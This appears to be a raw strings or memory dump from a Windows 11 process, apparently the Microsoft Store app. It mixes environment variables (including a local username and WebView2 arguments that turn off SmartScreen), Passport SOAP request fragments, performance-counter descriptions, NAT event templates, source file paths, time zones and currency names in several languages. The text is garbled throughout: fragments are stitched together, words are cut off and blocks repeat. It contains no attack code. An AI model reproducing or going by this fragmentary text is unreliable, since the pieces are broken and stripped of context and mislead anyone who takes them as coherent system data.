ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WI Writer Class Id: {542da469-d3e1-473c-9f4f-7847f01fc64f} VEL= ram erSh ogra es(x86)=C:\Program Files (x86)\C n Fi WS\system32\ iles ( ramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --enable-features=msEdgeFluentOverlayScrollbar WEBVIEW2_DEFAULT_BACKGROUND_COLOR=00000000 windir=C:\WINDOWS alue>*< ference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><ps:GetAppDataRequest xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" Id="RSTS" version="1.0"><ps:AppIDs><ps:AppID clientid="26a7ee05-5602-4d76-a7ba-eae8b7b67941">*</ps:AppID></ps:AppIDs></ps:GetAppDataRequest></s:Body></s:Envelope> l version="1.0"?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsa="http://www.w3.org/2005/08/addressing"><S:Header></S:Header><S:Body xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL"><ps:GetAppDataResponse Success="true"><SeERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --enable-features=msEdgeFluentOverlayScrollbar WEBVIEW2_DEFAULT_BACKGROUND_COLOR=00000000 windir=C:\WINDOWS ndows.Client.CBS_cw5n1h2txyewy\AC LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --enable-features=msEdgeFluentOverlayScrollbar WEBVIEW2_DEFAULT_BACKGROUND_COLOR=00000000 windir=C:\WINDOWS Name BiosName Data Name TimerState FunctionId BiosName TimerState EventData Data Name ErrorStatus Data Name ErrorType ErrorStatus ErrorType EventData Data Name BiosNameLength Data Name BiosName Data Name DeviceId Data Name Capabilities Data Name CheckMode Data Name ThermalReadRetryCount Data Name ThermalReadFailure Data Name CurrentTemperature BiosNameLength BiosName DeviceId Capabilities CheckMode ThermalReadRetryCount ThermalReadFailure CurrentTemperature EventData Data Name BiosNameLength Data Name BiosName Data Name DeviceId Data Name Capabilities Data Name CheckMode Data Name ThermalReadRetryCount Data Name ThermalReadFailure Data Name CurrentTemperature Data Name CurrentState Data Name Timeout Data Name LowTemperature Data Name HighTemperature BiosNameLength BiosName DeviceId Capabilities CheckMode ThermalReadRetryCount ThermalReadFailure CurrentTemperature CurrentState Timeout LowTemperature HighTemperature EventData Data Name BiosNameLength Data Name BiosName Data Name DeviceId Data Name Capabilities BiosNameLength BiosName DeviceId Capabilities EventData Data Name BiosNameLength Data Name BiosN _TC_FILEOPENPICKER ACTPICKER session deleted. Internal source transport addr: %2, Internal dest transport addr: %3, External source transport addr %5, External dest transport addr %6 Created NAT instance %1 for RoutingDomainId %2 (CompartmentId %5) with external interface prefix %4/%3 Modified NAT instance %1 properties NAT instance %1 external interface index is %6 for prefix %4/%3 Deleted NAT instance %1 NAT instance %1: RoutingDomainId %2 (CompartmentId %5), external interface index %6 (%4/%3) Added external address %3:%4-%5 to NAT instance %1 Removed external address %3:%4-%5 from NAT instance %1 NAT instance %1: external address %3:%4-%5 Added static mapping %2 %5 > %6 (CompartmentId %8) to NAT instance %1 (%3 %9/%10) Removed static mapping %2 %5 > %6 (CompartmentId %8) from NAT instance %1 (%3 %9/%10) NAT instance %1: CompartmentId %8) (% whichL rrived over %4 interface %3 in c rtment %2 / th reason: %1. NAT detected a default route in compartment %1 interface %2. Default ents loca over terf ERRO ted with no matching fix %4/% Removed oftWindows.Client.CBS_cw5n1h2txyewy; kernel32.dll !x-sys-default-locale vnin ossf rpositionss mni_Beng_IN H-mm ime total - IoPort Intercept count total - Msr Intercept time total - Msr Intercept count total - UnmappedGpa Intercept time total - UnmappedGpa Intercept count total - UnrecoverableException Intercept time total - UnrecoverableException Intercept count total - UnsupportedFeature Intercept time total - UnsupportedFeature Intercept count total - TlbPageSizeMismatch Intercept time total - TlbPageSizeMismatch Intercept count total - Extended Hypercall Intercept time total - Extended Hypercall Intercept count total - MMIO Intercept time total - MMIO Intercept count total - Reset Intercept time total - Reset Intercept count total - Register Intercept time total - Register Intercept count total - InterruptionDeliverable Intercept time total - InterruptionDeliverable Intercept count total - Halt Intercept time total - Halt Intercept count total - UnacceptedGpa Intercept time total - UnacceptedGpa Intercept count total - GpaAttribute Intercept time total - GpaAttribute Intercept count total - SynicEvent Intercept time total - SynicEvent Intercept count total - EnablePartitionVtl Intercept time total - EnablePartitionVtl Intercept count total - SevVmgexit (Ghcb) Intercept time total - SevVmgexit (Ghcb) The number of dispatched messages of type MBP access. The number of dispatched messages of type exception. The number of dispatched messages of type triple fault. The number of dispatched messages of type APIC EOI. The number of dispatched messages of type execute instruction. The number of dispatched messages of type MMIO. The number of dispatched messages of type Register. The number of dispatched messages of type handler unregistered. The number of dispatched messages of type stop request complete. The number of dispatched messages of type MMIO range destroyed. The number of dispatched messages of type terminate VM. The number of dispatched messages of type guest control for page copy The number of dispatched messages of type Hypervisor Notification. The number of dispatched messages of type CPUID. The number of dispatchThe number of Deletes per second. The number of Abandons per second. The number of successful responses per second. The number of failure responses per second. Time (in milliseconds) for the average response time from the server. The base value used to calculate the average response time from the server. Total number of pending responses. The number of successful polling responses per second. The number of failure polling responses per second. kflowServiceHost performance counters for workflow service 6593 Total number of workflow instances created since workflow host started. 6595 Rate of workflow instances created per second. 6597 Total number of workflow instances actively executing. 6599 Total number of workflow instances completed since workflow host started. 6601 Rate of workflow instances completed per second. 6603 Total number of workflow instances aborted since workflow host started. 6605 Rate of workflow instances aborted per second. 6607 Total number of workflow instances currently in memory. 6609 Total number of workflow instances persisted since workflow host started. 6611 Rate of workflow instances persisted per second. 6613 Total number of workflow instances terminated since workflow host started. 6615 Rate of workflow instances terminated per second. 6617 Total number of workflow instances loaded since workflow host started. 6619 Rate of workflow instances loaded per second. 6621 Total number of workflow instances unloaded since workflow host started. 6623 Rate of workflow instances unloaded per second. 6625 Total number of workflow instances suspended since workflow host started. 6627 Rate of workflow instances suspended per second. 6629 Rate of workflow instances becoming idle per second. 6631 Average amount of time to load a workflow instance. 6633 Average base amount of time to load a workflow instance. 6635 Average amount of time to persist a workflow instance. 6637 Average base amount of time to persist a workflow instance. 5837 Terminal Services Summary Information 5839 Nume to targeting synced pages Number of synced pages Number of unbacked pages Number of unbacked deferred pages Number of working set pages SLP I/O read rate SLP I/O write rate SLP read rate in pages SLP write rate in pages SLP fault rate on behalf of memory access reads SLP fault rate on behalf of memory access writes The number zeroed ranges found. The number zeroed ranges found that are not reported since their size is smaller than the threshold. The total ammount of pages in the zeroed ranges found. The total ammount of zeroed pages that were not reported because their range is smaller than the threshold. GPA mapping WinHv (hypervisor) call count GPA mapping WinHv (hypervisor) call time in microseconds GPA mapping page count Memory transfer operations - receive MDL complete Memory transfer operations - receive MDL complete failed Memory transfer operations - receive MDL prepare Memory transfer operations - receive MDL prepare failed Memory transfer operations - receive write Memory transfer operations - receive write failed Memory transfer operations - send Memory transfer operations - send completed Memory transfer operations - send failed Memory transfer pages received - MDL complete Memory transfer pages received - MDL prepare Memory transfer pages received - write Memory transfer pages sent Hash Scan Page Count Hash Scan Page Count Constant Filled Hash Scan Page Count Constant Filled in Chunks Hash Scan Page Count Zero Filled Hash Scan Page Count Zero Filled in Chunks Hash Scan Page Count Modified Hash Scan Time in Us HV memory deposit callback count HV memory deposit page count HV memory deposit request count HV memory deposit request count failed HV memory deposit request time in microseconds HV memory withdraw page count The number of VM access fault calls for this partition, for read or execute requests. The number of VM access fault calls for this partition, for write requests. The number of VM access fault calls for this partition during memory intercepts. The number of VM access fault calls for this artition mappings for this partition. The number of direct created parent partition mappings for this partition. The number of memory block notifications installed for this partition. The number of memory block pages read from user mode for this partition. The number of memory block pages written from user mode for this partition. The number of memory block read notifications sent to user mode for this partition. The number of memory block write notifications sent to user mode for this partition. The number of VTL modifications for this partition. The number of VTL MBPs that failed modify attempt for this partition. The number of VTL MBPs that are protected for this partition. The total bytes of allocated memory for this partition (not including memory block allocations). The preferred NUMA node mask associated with this partition. The total number of huge memory pages which are from a local NUMA node. The total number of huge memory pages which are from a non-local NUMA node. The total number of huge memory pages which are from a local NUMA node. The total number of huge memory pages which are from a non-local NUMA node. The total number of large memory pages which are from a local NUMA node. The total number of large memory pages which are from a non-local NUMA node. The total number of medium (64KB) memory pages which are from a local NUMA node. The total number of medium (64KB) memory pages which are from a non-local NUMA node. The total number of non-large memory pages which are from a local NUMA node. The total number of non-large memory pages that are from a non-local NUMA node. Number of currently ballooned pages. Number of hot added pages. Number of currently reserved pages. Number of ballooon operations. Number of hot add operations. Number of hot add undo operation. Number of unballooon operations. Number of MBP demand back operations Number of MBP page in operations Number of MBP page in operations resulting in synced pages Number of MBP page out operations Number of MBP page out operations skipped du The tot OS=Windows_NT SystemDrive=C: PROCESSOR_LEVEL=6 USERNAME=WINDOWS11$ windir=C:\WINDOWS PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel vice startup Total number of successful lookups in the kernel URI cache Total number of unsuccessful lookups in the kernel URI cache Total number of kernel URI cache flushes (complete or partial) since service startup Total number of URIs that have been removed from the kernel URI cache since service startup Total number of TLS handshake attempts since service startup Rate at which TLS handshakes are being attempted Total number of TLS handshake failures since service startup Rate at which TLS handshakes are failing The PID of the wmiprvse.exe hosting the tracking provider The total number of handles being used by the process The number of current threads alive in the process tracks memory pages in bytes allocated for process Displays the average cpu consumption of WMIPrvSe.exe The timestamp in updating Health Status that are <= 1M in length. Number of successful reads per second that are > 1M in length. The total number of times SMB Direct was unable to allocate an RDMA connector. The total number of times SMB Direct was unable to allocate an RDMA protection domain. The total number of times SMB Direct was unable to allocate an RDMA completion queue. The total number of times SMB Direct was unable to allocate an RDMA queue pair. The total number of times SMB Direct was unable to allocate an RDMA memory region. The total number of times SMB Direct was unable to allocate an RDMA fast register memory region. The rate at which SMB Direct is RDMA reading bytes from a remote host. The rate at which SMB Direct is RDMA writing bytes to a remote host. The number of bytes SMB Direct has registered as the source/sink for an RDMA read/write. The rate at which SMB Direct is receiving bytes. The rate at ersion\Compatibi sk that encountered a write error while regenerating. The number of extents of the virtual disk that are on a physical disk that has been retired. The number of bytes of the virtual disk that are on a physical disk that has been retired. The number of extents of the virtual disk that have been newly reallocated. The number of bytes of the virtual disk that have been newly reallocated. The number of extents of the virtual disk that encountered a read error while regenerating. The number of bytes of the virtual disk that encountered a read error while regenerating. The number of extents of the virtual disk that are replacements for repair. The number of bytes of the virtual disk that are replacements for repair. The number of extents of the virtual disk that are replacements for rebalance. The number of bytes of the virtual disk that are replacements for rebalance. The number of extents of the virtual disk that are replacements that have been replaced. The number of bytes of the virtual disk that are replacements that have been replaced. The number of extents of the virtual disk that do not need to be regenerated. The number of bytes of the virtual disk that do not need to be regenerated. The number of extents of the virtual disk that are being unmapped. The number of bytes of the virtual disk that are being unmapped. The number of extents of the virtual disk that are on a physical disk that has been retired but have not yet been replaced. The number of extents of the virtual disk that are no longer in use but have not yet been cleaned up. The number of times phase 1 of repair has run. The last status from phase 1 of repair. The number of times phase 2 of repair has run. The last status from phase 2 of repair. The number of times phase 3 of repair has run. The last status from phase 3 of repair. The number of times phase 4 of repair has run. The last status from phase 4 of repair. The number of times phase 5 of repair has run. The last status from phase 5 of repair. The number of times phase 6 of repair has run. The number of extents of the virtual disk that are active. The number of bytes of the virtual disk that are active. The number of extents of the virtual disk that are missing. The number of bytes of the virtual disk that are missing. The number of extents of the virtual disk that are stale. The number of bytes of the virtual disk that are stale. The number of extents of the virtual disk that are need reallocation. The number of bytes of the virtual disk that are need reallocation. The number of extents of the virtual disk that are need regeneration. The number of bytes of the virtual disk that are need regeneration. The number of extents of the virtual disk that are regenerating. The number of bytes of the virtual disk that are regenerating. The number of extents of the virtual disk that are pending deletion. The number of bytes of the virtual disk that are pending deletion. The total number of extents of the virtual disk. The total number of bytes of the virtual disk. The number of extents of the virtual disk that are on a physical disk that is missing. The number of bytes of the virtual disk that are on a physical disk that is missing. The number of extents of the virtual disk that are on a physical disk that has failed. The number of bytes of the virtual disk that are on a physical disk that has failed. The number of extents of the virtual disk that encountered a write error. The number of bytes of the virtual disk that encountered a write error. The number of extents of the virtual disk that are on a physical disk that is reporting a hardware error. The number of bytes of the virtual disk that are on a physical disk that is reporting a hardware error. The number of extents of the virtual disk that encountered a write error while regenerating. The number of bytes of the virtual di QUIC packets suspected lost Rate of QUIC packets dropped Rate of QUIC packets failing decryption Rate of QUIC UDP Datagrams Received Rate of QUIC UDP Datagrams Sent Rate of QUIC UDP Payload Bytes Received Rate of QUIC UDP Payload Bytes Sent Rate of QUIC UDP Receive Events Rate of QUIC UDP Send Calls Rate QUIC App Sent Bytes Rate QUIC App Received Bytes Current QUIC connection queue length Current QUIC connection operation queue length Rate of QUIC connection operations queued Rate of QUIC connection operations completed Current QUIC worker operation queue length Rate of QUIC worker operations queued Rate of QUIC worker operations completed Total path challenges succeeded Total path challenges failed Total stateless reset packets sent Total stateless retry packets sent Total Router Advertisement packets received by the Teredo client. Total bubble packets received by the Teredo client. Total data packets received by the Teredo client. Total error packets received by the Teredo client. Total Router Solicitation packets sent by the Teredo client. Total bubble packets sent by the Teredo client. Total data ent by d by the TP s receivP cli in kernel mo@ Total data packets sent by he Teredo client in user mode. Total data packets sent by th TF c 3++S++ ich is treated as an append at a local "hotpoint" in the B+ Tree per second. [Dev Only] 10473 B+ Tree Vertical Splits/sec is the count of times a page is split vertically in a database B+ Tree per second. [Dev Only] 10475 B+ Tree Splits/sec is the count of times a page is appended to or split in a database B+ Tree per second. [Dev Only] 10477 B+ Tree Empty Page Merges/sec is the count of empty pages removed from a database B+ Tree per second. [Dev Only] 10479 Right Merges/sec is the count of pages removed from a database B+ Tree per second by moving all its records to the next page to the right. [Dev Only] 10481 B+ Tree Partial Merges/sec is the count of pages where some of its records are moved to a page on the right in a database B+ Tree per second. [Dev Only] 10483 B+ Tree Left Merges/sec is the count of pages removed from a database B+ Tree per second by moving all its records to the previous page to the left. [Dev Only] 10485 B+ Tree Partial Left Merges/sec is the count of pages where some of its records are moved to a page on the left in a database B+ Tree per second. [Dev Only] 10487 B+ Tree Page Moves/sec is the count of B+ Tree pages per second where all the records are moved to a new page. [Dev Only] 10489 B+ Tree Merges/sec is the count of pages merged in a database B+ Tree per second. [Dev Only] 10491 B+ Tree Failed Simple Page Cleanup Attempts/sec is the rate that attempts to reclaim deleted node space on a page are unsuccessful due to a conflict when attempting to write-latch the page. The cleanup is re-tried by locking the root of the B+ Tree. [Dev Only] 10493 B+ Tree Seek Short Circuits/sec is the count of repeated seeks to the same record in a database B+ Tree that are saved by jumping directly to the cached physical location of that record per second. [Dev Only] 10495 B+ Tree Opportune Prereads/sec is the number of pages per second that are preread because they are adjacent to a page read by a seek. [Dev Only] 10497 B+ Tree Unnecessary Sibling Latches/sec is the count of sibling pageeves/sec is the rate at which retrievals of a separated long-value in a database table are performed. [Dev Only] 10445 Separated Long-Value Creates/sec is the rate at which new separated long-values are added to a database table. [Dev Only] 10447 Long-Value Maximum LID is the largest LID that has been used by the database engine for this instance. [Dev Only] 10449 Separated Long-Value Updates/sec is the rate at which existing separated long-values in a database table are modified. [Dev Only] 10451 Separated Long-Value Deletes/sec is the rate at which separated long-values in a database table are flagged for deletion. [Dev Only] 10453 Separated Long-Value Copies/sec is the rate at which existing separated long-values in a database table are copied. [Dev Only] 10455 Separated Long-Value Chunk Seeks/sec is the rate at which seeks for a particular chunk of a separated long-value in a database table are performed. [Dev Only] 10457 Separated Long-Value Chunk Retrieves/sec is the rate at which retrievals of a chunk of a separated long-value in a database table are performed. [Dev Only] 10459 Separated Long-Value Chunk Appends/sec is the rate at which chunks are appended to separated long-values of database tables. [Dev Only] 10461 Separated Long-Value Chunk Replaces/sec is the rate at which existing separated long-value chunks in a database table are replaced. [Dev Only] 10463 Separated Long-Value Chunk Deletes/sec is the rate at which separated long-value chunks in a database table are flagged for deletion. [Dev Only] 10465 Separated Long-Value Chunk Copies/sec is the rate at which existing separated long-value chunks in a database table are copied. [Dev Only] 10467 B+ Tree Append Splits/sec is the count of times a page is appended to a database B+ Tree per second. [Dev Only] 10469 B+ Tree Right Splits/sec is the count of times a page is split right in a database B+ Tree per second. [Dev Only] 10471 B+ Tree Right Hotpoint Splits/sec is the count of times a page is split right in a database B+ Tree, but wh tables. [Dev Only] 10423 Secondary Index Deletes/sec is the rate at which entries in indexes of database tables are being flagged for deletion. [Dev Only] 10425 False Index Column Updates/sec is the number of times per second an attempt was made to update an index because an update to at least one of the indexed columns was detected, only to discover that none of the indexed columns had actually changed (and therefore no index update was actually required). [Dev Only] 10427 False Tuple Index Column Updates/sec is the number of times per second an attempt was made to update a tuple index because an update to the tuple-indexed column was detected, only to discover that the column had not actually changed (and therefore no index update was actually required). [Dev Only] 10429 Record Intrinsic Long-Values Updated/sec is the rate at which intrinsic long-values are added to or replaced in records of database tables. [Dev Only] 10431 Record Separated Long-Values Added/sec is the rate at which separated long-values are normally added to records of database tables. [Dev Only] 10433 Record Separated Long-Values Forced/sec is the rate at which separated long-values are added to records of a database table because they could not be accommodated in the record itself. [Dev Only] 10435 Record Separated Long-Values All Forced/sec is the rate at which all intrinsic long-values are separated out of a record of a database table in order to accommodate updates to the record. [Dev Only] 10437 Record Separated Long-Values Reference All/sec is the rate at which a reference is added for all the separated long-values associated with a record of a database table. [Dev Only] 10439 Record Separated Long-Values Dereference All/sec is the rate at which a reference is removed for all the separated long-values associated with a record of a database table. [Dev Only] 10441 Separated Long-Value Seeks/sec is the rate at which seeks for a separated long-value in a database table are performed. [Dev Only] 10443 Separated Long-Value RetriBytes Wasted/sec is the number of bytes wasted by not reusing a partially written sector (and instead fill it up with NOPs). [Dev Only] 10391 Log Record Stalls/sec is the number of log records that cannot be added to the log buffers per second because they are full. If this counter is non-zero most of the time, the log buffer size may be a bottleneck. 10393 Total number of version buckets allocated 10395 Total number of version buckets allocated for FlagDelete RCEs [Dev Only] 10397 VER Bucket Allocations Wait For Version Cleanup/sec is the number of version bucket allocations that must first wait for version cleanup in an attempt to free used version buckets for re-use. [Dev Only] 10399 Average length of bookmark in RCE [Dev Only] 10401 Number of times per second we look in the version store for a node whose version bit is set but which has no versions [Dev Only] 10403 Number of times per second a version store clean task is dispatched asynchronously to be performed [Dev Only] 10405 Number of times per second a version store clean task is performed synchronously [Dev Only] 10407 Number of times per second a version store clean task was discarded due to load concerns [Dev Only] 10409 Number of times per second a dispatched version store cleanup task fails [Dev Only] 10411 Record Inserts/sec is the rate at which records are being inserted into database tables. [Dev Only] 10413 Record Deletes/sec is the rate at which records in database tables are being flagged for deletion. [Dev Only] 10415 Record Replaces/sec is the rate at which records in database tables are being updated. [Dev Only] 10417 Record Unnecessary Replaces/sec is the rate at which updates to records in database tables are being discarded because the update did not actually modify the contents of the record. [Dev Only] 10419 Record Escrow-Updates/sec is the rate at which records in database tables are being escrow-updated. [Dev Only] 10421 Secondary Index Inserts/sec is the rate at which entries are being inserted into indexes of databaseeconds per second) recovery had to pause to allow an older read-only transaction to complete. [Dev Only] 10367 Recovery Throttles For IO Smoothing/sec is the number of times per second recovery had to pause to not recover a file faster than it was generated. [Dev Only] 10369 Recovery Throttles For IO Smoothing Time (ms)/sec is the amount of time (in milliseconds per second) recovery had to p e da to s/sec is the cou full. [Dev Only] 10377 Log Buffer Commit Writes/sec is the count of times because a tr n is ly c Writ Skipped/sec is th unt of times the database log bu s we n written. nts ar VERIFIER AppObject.EntryPoint AppObject.Aliased AppObject.EntryPoint AppObject.EntryPoint lassId C:\WINDOWS\System32\gdi32full.dll lassId C:\Windows\System32\twinapi.appcore.dll ms-resource://Microsoft.VCLibs.140.00/ C:\WINDOWS\System32\ADVAPI32.dll AppObject.Aliased tableClass C:\Windows\System32\twinapi.appcore.dll C:\WINDOWS\SYSTEM32\mrmcorer.dll Windows11\job Data tent WebView\Cache\CaIp:;FSiz Australia/Sydney Pacific/Auckland America/Edmonton America/Mazatlan America/New_York America/Santiago America/St_Johns America/Winnipeg Asia/Ulaanbaatar Australia/Darwin Australia/Hobart Pacific/Honolulu America/Catamarca Pacific/Pago_Pago America/Anchorage America/Sao_Paulo America/St_Thomas America/Vancouver Pacific/Enderbury Pacific/Kwajalein America/Rio_Branco America/Louisville America/Whitehorse Atlantic/Reykjavik Australia/Adelaide Australia/Brisbane America/Los_Angeles America/Mexico_City Arctic/Longyearbyen Australia/Lord_Howe Australia/Melbourne America/Indianapolis America/Indiana/Knox America/Buenos_Aires America/Coral_Harbour Australia/Broken_Hill 06<BG gmsy BackgroundInnerContainer BackgroundOneRowSpanState BackgroundOuterContainer BackgroundProperty BackgroundRec BackgroundRecAspectRatio BackgroundService failed BackgroundServiceExceptionStoppedHost BackgroundServiceFaulted BackgroundServiceStoppingHost BackgroundSizing BackgroundSizingProperty BackgroundSlot BackgroundSource BackgroundThreeRowSpanState BackgroundTransform3D BackgroundTwoRowSpanState Backup & manage Bad Gateway Bad Request Bad Uri format: {0} Bad protocol name BadImageFormat_NegativeStringLength BadImageFormat_ResourceDataLengthInvalid BadImageFormat_ResourceNameCorrupted BadImageFormat_ResourceNameCorrupted_NameIndex BadImageFormat_ResourcesDataInvalidOffset BadImageFormat_ResourcesHeaderCorrupted BadImageFormat_ResourcesIndexTooLong BadImageFormat_ResourcesNameInvalidOffset BadImageFormat_ResourcesNameTooLong BadImageFormat_TypeMismatch BadLogName BadMachineName BadRequest Badge Badge updated with count BadgeBorder BadgeGlyph BadgeHorizontalAlignment BadgeId BadgeImageSource BadgeItems BadgeNumber BadgePrice BadgePriceOrientation BadgeSize BadgeStyleKey BadgeTemplate BadgeText BadgeTextStyle BadgeToolTip BadgeType Badges BadgesInfo BadgesRepeater BadgesResult Balance Bamboo Banking & investments BannedPaymentInstrument Banner BannerText BarrierPostPhaseException \Configuration\S quetzales riel camboyano soms kirguises rupia de Maldivas rieles camboyanos dobra santotomense rupias de Maldivas dobras santotomenses bolivares venezolanos bats birres gultrums bultaneses franco CFA de frica central francos CFA de frica central Bs.S vares soberanos kuld eurot Tai baat Iiri nael baati se k Leedu litt Malta lii/ Soome mark rgi liir roon Poola z usia l/ $/3G[c #+/3;?CGKOSW[_cko unknown currency o Tom and Pr ncipe Dobra o Tom and Pr ncipe dobra Trinidad and Tobago dollars o Tom and Pr ncipe dobras en_VU alogService.cs .\src\Purchase\Store.Purchase\Services\ErrorMessageService.cs .\src\Purchase\Store.Purchase\Services\PurchaseService.cs .\src\Purchase\Store.Purchase\Services\SFEdgeService.cs .\src\Shared\Shared.Services\Network\WebView2Checker.cs .\src\Shell\WinStore.App\Acquisition\BulkHydrator.cs .\src\Shell\WinStore.App\Acquisition\DirectInstallation.cs .\src\Shell\WinStore.App\Acquisition\DirectInstaller.cs .\src\Shell\WinStore.App\Acquisition\GamingServicesInstaller.cs .\src\Shell\WinStore.App\Acquisition\GamingServicesVolume.cs .\src\Shell\WinStore.App\Acquisition\Install.cs .\src\Shell\WinStore.App\Acquisition\InstallHelper.cs .\src\Shell\WinStore.App\Acquisition\InstallManager.cs .\src\Shell\WinStore.App\Acquisition\InstallProgressHandler.cs .\src\Shell\WinStore.App\Acquisition\InstallSettings.cs .\src\Shell\WinStore.App\Acquisition\InstallerRetriever.cs .\src\Shell\WinStore.App\Acquisition\MyLibraryCache.cs .\src\Shell\WinStore.App\Acquisition\StoreUpdates.cs .\src\Shell\WinStore.App\Acquisition\TencentAndroidInstaller.Prerequisites.cs .\src\Shell\WinStore.App\Acquisition\TencentAndroidInstaller.cs .\src\Shell\WinStore.App\Acquisition\TencentMiniInstaller.cs .\src\Shell\WinStore.App\Acquisition\WindowsPackageManagerInstaller.cs .\src\Shell\WinStore.App\Acquisition\WindowsUpdateInstaller.cs .\src\Shell\WinStore.App\App.CloudXaml.xaml.cs .\src\Shell\WinStore.App\App.xaml.cs .\src\Shell\WinStore.App\DataModel\NavItem.cs .\src\Shell\WinStore.App\DataModel\NavItemList.cs .\src\Shell\WinStore.App\Helpers\CardProductStatusHelper.cs .\src\Shell\WinStore.App\Helpers\CategoryHelper.cs .\src\Shell\WinStore.App\Helpers\FFCManager.cs .\src\Shell\WinStore.App\Helpers\Launci bir Albanian lek Burundi Fra Chinese yuan Ecioopi Birr Franc Guinea Franc Rwanda Gambi Dalasi Jibuuti Fra Leezoto Loti Loti Lesotho Mooris Rupii Myanmar Kyat Peruvian Sol el Rupii Suuda Dinar Tunizi Dinar Turkish lira finska marka kip laosiano libysk dinar liras turcas Timor-Escudo Kuwait-Dinar Albanese lek Czech Koruna Danish krone Dolar Brunei Dolar Guyana Dolar Kanada Dong Vietnam Florin Aruba Ghanese cedi Guinese syli Indian rupee Iranian rial Iraqi dinars Japanese yen Kuna Croatia Kyat Myanmar Laotian kips Latvian lati Libyan dinar Moldova leyi Moldovan leu Myanmar kyat Peruvian sol Peso chileno Saudi riyals Swiss francs Syrian pound Yemeni rials corona sueca danska kruna danske krune franco belga ka drahma ke drahme ki dinar irskih funti japanski jen kina papuana kirgiski som kyat birmano laoskih kipa peruansk sol peso chileno peso mexican qatarsk rial rial saudita rublos rusos soms uzbekos tala samoano turskih lira kih kruna llibra siria Makao pataka Vanuatu-Vatu thajsk baht Aruba-Florin Birmese kyat Chilean peso Corona checa Czech koruna Deense kroon Dinar Jordan Dinar croata Dolar Belize Dracma grego Fiji dollari Finse markka Finska marka Franc Komoro Franco belga Franco su French Franc Guinea-Franc Guinean syli Iene japon Inti peruano Kip laosiano Kongo franki Krona Sweden Krona Swedia Kuna Kroasia Latvian lats Letse roebel Maltese lire Manati aseri Moldova Leyi Moldovan lei Nepal Rupisi Nepal rupisi Noorse kroon Norve Kronu Norve kronu Omaanse rial Pataca Macau Peso Meksiko Polish zloty Poolse zloty Qatari Riyal Qatari riyal Rial saudita Riel Kamboja Ruanda-Franc SAE dirhamow Samoa Talas Samoa talas Sedi ya Gana 